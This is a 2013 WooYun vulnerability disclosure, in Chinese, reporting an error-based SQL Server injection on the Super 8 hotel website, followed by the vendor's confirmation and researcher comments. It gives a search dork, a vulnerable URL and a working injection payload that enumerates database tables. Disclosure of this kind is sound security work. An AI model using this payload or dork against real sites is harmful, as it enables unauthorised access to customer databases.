当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-027639

漏洞标题：速8酒店官网存SQL-Server报错注入漏洞（2）

相关厂商：速8酒店

漏洞作者： x1aoh4i

提交时间：2013-07-03 21:55

修复时间：2013-08-17 21:56

公开时间：2013-08-17 21:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-03： 细节已通知厂商并且等待厂商处理中
2013-07-04： 厂商已经确认，细节仅向厂商公开
2013-07-14： 细节向核心白帽子及相关领域专家公开
2013-07-24： 细节向普通白帽子公开
2013-08-03： 细节向实习白帽子公开
2013-08-17： 细节向公众公开

简要描述：

速8酒店官网存SQL-Server报错注入漏洞（2）

详细说明：

0.首先说明是多页面存在SQL注入漏洞
1.根据上一个注入漏洞,看到一个关键字的语句，于是gogo一下
inurl:.aspx?act=

1.png


2.然后就随便点开一个页面看一下啦
http://www.super8.com.cn/act/Evip.aspx?act=sohuweibo
这个页面，我们试一下，看下是否成功

2.png


然后众多页面存在SQl注入漏洞，就不一一列举啦
然后我们可以curl写一个中专注入或者sqlmap什么的
部分数据我手工了一下

1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('RP_Hotel','Activity_Count','RP_Staff','Activity_FreeRoomCode','Sys_ReceiveLog_201305','Activity_List','Sys_Dictionary','Activity_List','WeiXin_Push_ALL','sysdiagrams','B090_RmState','Hotel_Hot','Mapabc_201302','Sys_CenterLog','B090_Log','Tuan_Code','SFTP_Sended','City_Relation','B090_RmState_bak2013020','City_Relation','Hotel_OrderNo','Activity_Prize','Sys_DepartmentMemInfo','RPHotel_7DaysOpenAndCloseRmState','Sys_SendLog','PMS_LogSource','Intr_OrderEdit', 'Activity_Lottery','Mapabc','Hotel_ServiceInfo' ))) and '1'='1


肯东有重复的，作为一个例子看一下啦

漏洞证明：

2.png

修复方案：

。。。。。

版权声明：转载请注明来源 x1aoh4i@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-07-04 09:59

厂商回复：

非常感谢你的提醒，我们会及时做出改正。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-04 10:18 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

    5rank 6rank 几个注入还没有越权给的多 场商这是要干嘛？

  2. 2013-07-04 10:22 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    恩啊

  3. 2013-07-04 13:33 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    @x1aoh4i 没走小厂商 你就知足了把！

  4. 2013-07-04 13:35 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

    @齐迹 好吧 知足啦 虽然有点少 继续刷吧 争取周五给点力啊

  5. 2013-07-05 19:35 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

    @速8酒店 抱这么多都没个礼物的说